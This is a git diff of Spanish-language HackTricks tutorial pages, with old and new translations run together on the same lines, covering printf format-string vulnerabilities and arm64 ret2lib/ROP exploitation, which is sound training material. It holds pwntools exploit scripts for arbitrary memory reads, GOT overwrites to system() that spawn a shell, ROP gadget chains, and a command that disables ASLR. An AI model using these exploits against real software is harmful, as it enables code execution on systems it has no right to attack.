* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
En C **`printf`** es una función que se puede utilizar para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto sin formato con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto sin formato. En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**. Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
La vulnerabilidad aparece cuando un **texto del atacante se utiliza como el primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de las **cadenas de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/inscriptible)**. De esta manera, puede **ejecutar código arbitrario**. La vulnerabilidad aparece cuando un **texto del atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
#### Formateadores: #### Formateadores:
```bash ```bash
@ -44,11 +47,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205; int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
``` ```
* Con Argumentos Faltantes: * Con argumentos faltantes:
```c ```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack. printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
``` ```
* Vulnerabilidad de fprintf: * fprintf vulnerable:
```c ```c
#include <stdio.h> #include <stdio.h>
@ -63,27 +66,27 @@ return 0;
``` ```
### **Accediendo a Punteros** ### **Accediendo a Punteros**
El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Por lo tanto, si deseas leer el cuarto parámetro de la pila usando printf, podrías hacer lo siguiente: El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
y leerías desde el primer hasta el cuarto parámetro. y leerías del primer al cuarto parámetro.
O podrías hacer: O podrías hacer:
```c ```c
printf("$4%x") printf("$4%x")
``` ```
y lee directamente el cuarto. y leer directamente el cuarto.
Ten en cuenta que el atacante controla el parámetro `pr`**`intf`, lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila. Nota que el atacante controla el parámetro `pr`**`intf`**, lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
{% hint style="danger" %} {% hint style="danger" %}
Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo utilizar este comportamiento. Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
{% endhint %} {% endhint %}
## **Lectura Arbitraria** ## **Lectura Arbitraria**
Es posible utilizar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, siguiéndola e **imprimiéndola como si fuera una cadena** (imprimir hasta encontrar un 0x00). Entonces, si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en la pila, es posible imprimir el inicio del binario con: Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la posición en la pila, es posible imprimir el inicio del binario con:
```python ```python
from pwn import * from pwn import *
@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se concatenará con 0x00 al final de esa dirección. Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.
{% endhint %} {% endhint %}
### Encontrar el desplazamiento ### Encontrar el desplazamiento
Para encontrar el desplazamiento de tu entrada, podrías enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`. Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
<details> <details>
<summary>Fuerza bruta para encontrar el desplazamiento de printf</summary> <summary>Fuerza bruta printf offset</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -137,45 +140,45 @@ p.close()
``` ```
</details> </details>
### Qué tan útil es ### Qué tan útil
Las lecturas arbitrarias pueden ser útiles para: Las lecturas arbitrarias pueden ser útiles para:
- **Volcar** el **binario** de la memoria * **Volcar** el **binario** de la memoria
- **Acceder a partes específicas de la memoria donde se almacena información sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [desafío de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) * **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## Escritura Arbitraria ## **Escritura Arbitraria**
El formateador **`$<num>%n`** escribe la **cantidad de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria. El formateador **`$<num>%n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A" a la entrada, para hacerlo es posible utilizar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**. Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada, para hacerlo es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos. Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria)**. Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar: En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %} {% endcontent-ref %}
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función `system`**.\ Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: **primero escribe 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**. Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
* **HOB** se refiere a los 2 bytes más altos de la dirección * **HOB** se llama a los 2 bytes más altos de la dirección
* **LOB** se refiere a los 2 bytes más bajos de la dirección * **LOB** se llama a los 2 bytes más bajos de la dirección
Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB\] y luego el otro. Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
Si HOB < LOB\ Si HOB < LOB\
`[dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\ Si HOB > LOB\
`[dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -212,9 +215,9 @@ p.sendline('/bin/sh')
p.interactive() p.interactive()
``` ```
## Formato de cadenas para desbordamiento de búfer ## Cadenas de Formato a BOF
Es posible abusar de las acciones de escritura de una vulnerabilidad de formato de cadena para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**. Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**.
## Otros Ejemplos y Referencias ## Otros Ejemplos y Referencias
@ -222,8 +225,23 @@ Es posible abusar de las acciones de escritura de una vulnerabilidad de formato
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bits, sin relro, sin canary, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (no es necesario alterar el flujo de ejecución) * 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bits, relro, sin canary, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win) * 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bits, relro, sin canary, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a recorrerse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, se ejecutará `strlen` con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados. * 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2lib + Fuga de Printf - arm64 # Ret2lib + Printf leak - arm64
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Ret2lib - Bypass de NX con ROP (sin ASLR) ## Ret2lib - Bypass NX con ROP (sin ASLR)
```c ```c
#include <stdio.h> #include <stdio.h>
@ -31,41 +32,41 @@ printfleak();
bof(); bof();
} }
``` ```
Compilar sin canary: Compilar sin canario:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### Encontrar el desplazamiento ### Encontrar offset
### Desplazamiento x30 ### offset x30
Creando un patrón con **`pattern create 200`**, utilizándolo y verificando el desplazamiento con **`pattern search $x30`** podemos ver que el desplazamiento es **`108`** (0x6c). Creando un patrón con **`pattern create 200`**, usándolo y verificando el offset con **`pattern search $x30`** podemos ver que el offset es **`108`** (0x6c).
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Al observar la función principal desensamblada, podemos ver que queremos **saltar** a la instrucción para saltar directamente a **`printf`**, cuyo desplazamiento desde donde se carga el binario es **`0x860`**: Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría **saltar** a la instrucción para saltar a **`printf`** directamente, cuyo offset desde donde se carga el binario es **`0x860`**:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### Encontrar system y la cadena `/bin/sh` ### Encontrar la cadena de system y `/bin/sh`
Dado que ASLR está deshabilitado, las direcciones siempre serán las mismas: Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### Encontrar Gadgets ### Encontrar Gadgets
Necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**. Necesitamos tener en **`x0`** la dirección a la cadena **`/bin/sh`** y llamar a **`system`**.
Usando rooper se encontró un gadget interesante: Usando rooper se encontró un gadget interesante:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
Este gadget cargará `x0` desde **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos **controlar el primer argumento y luego saltar a system**. Este gadget cargará `x0` desde **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
### Explotar ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - Bypass de NX, ASLR y PIE con fugas de printf desde la pila ## Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila
```c ```c
#include <stdio.h> #include <stdio.h>
@ -121,46 +122,46 @@ bof();
} }
``` ```
Compilar **sin canary**: Compilar **sin canario**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIE y ASLR pero sin canary ### PIE y ASLR pero sin canario
* Ronda 1: * Ronda 1:
* Fuga de PIE desde la pila * Fuga de PIE desde la pila
* Abuso de desbordamiento de búfer para regresar a main * Abusar de bof para volver a main
* Ronda 2: * Ronda 2:
* Fuga de libc desde la pila * Fuga de libc desde la pila
* ROP: ret2system * ROP: ret2system
### Fugas de Printf ### Fugas de Printf
Estableciendo un punto de interrupción antes de llamar a printf es posible ver que hay direcciones a las que regresar en el binario en la pila y también direcciones de libc: Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Probando diferentes desplazamientos, **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y **`%25$p`** puede filtrar una dirección de libc: Probando diferentes offsets, el **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y el **`%25$p`** puede filtrar una dirección de libc:
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Restando la dirección filtrada de libc con la dirección base de libc, es posible ver que el **desplazamiento** de la **dirección filtrada desde la base es `0x49c40`.** Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el **offset** de la **dirección filtrada desde la base es `0x49c40`.**
### Desplazamiento x30 ### Offset x30
Ver el ejemplo anterior ya que el desbordamiento de búfer es el mismo. Ver el ejemplo anterior ya que el bof es el mismo.
### Encontrar Gadgets ### Encontrar Gadgets
Como en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**. Al igual que en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
Usando rooper se encontró otro gadget interesante: Usando rooper, se encontró otro gadget interesante:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos **controlar el primer argumento y luego saltar a system**. Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
### Explotar ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# Filtrando la dirección de libc con ROP # Filtrando la dirección de libc con ROP
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Resumen Rápido ## Resumen Rápido
1. **Encontrar** el **desplazamiento** del desbordamiento 1. **Encuentra** el **offset** de desbordamiento
2. **Encontrar** el gadget `POP_RDI`, `PUTS_PLT` y `MAIN` 2. **Encuentra** el gadget `POP_RDI`, `PUTS_PLT` y gadgets de `MAIN`
3. Utilizar los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgala](https://libc.blukat.me)) 3. Usa los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgala](https://libc.blukat.me))
4. Con la biblioteca, **calcular el ROP y explotarlo** 4. Con la biblioteca, **calcula el ROP y explótalo**
## Otros tutoriales y binarios para practicar ## Otros tutoriales y binarios para practicar
@ -28,7 +29,7 @@ Otros tutoriales útiles: [https://made0x78.com/bseries-ret2libc/](https://made0
## Código ## Código
Nombre de archivo: `vuln.c` Nombre del archivo: `vuln.c`
```c ```c
#include <stdio.h> #include <stdio.h>
@ -44,7 +45,7 @@ return 0;
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## Plantilla ROP - Filtrando la dirección de LIBC ## ROP - Plantilla para filtrar LIBC
Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script: Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
@ -52,9 +53,9 @@ Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable
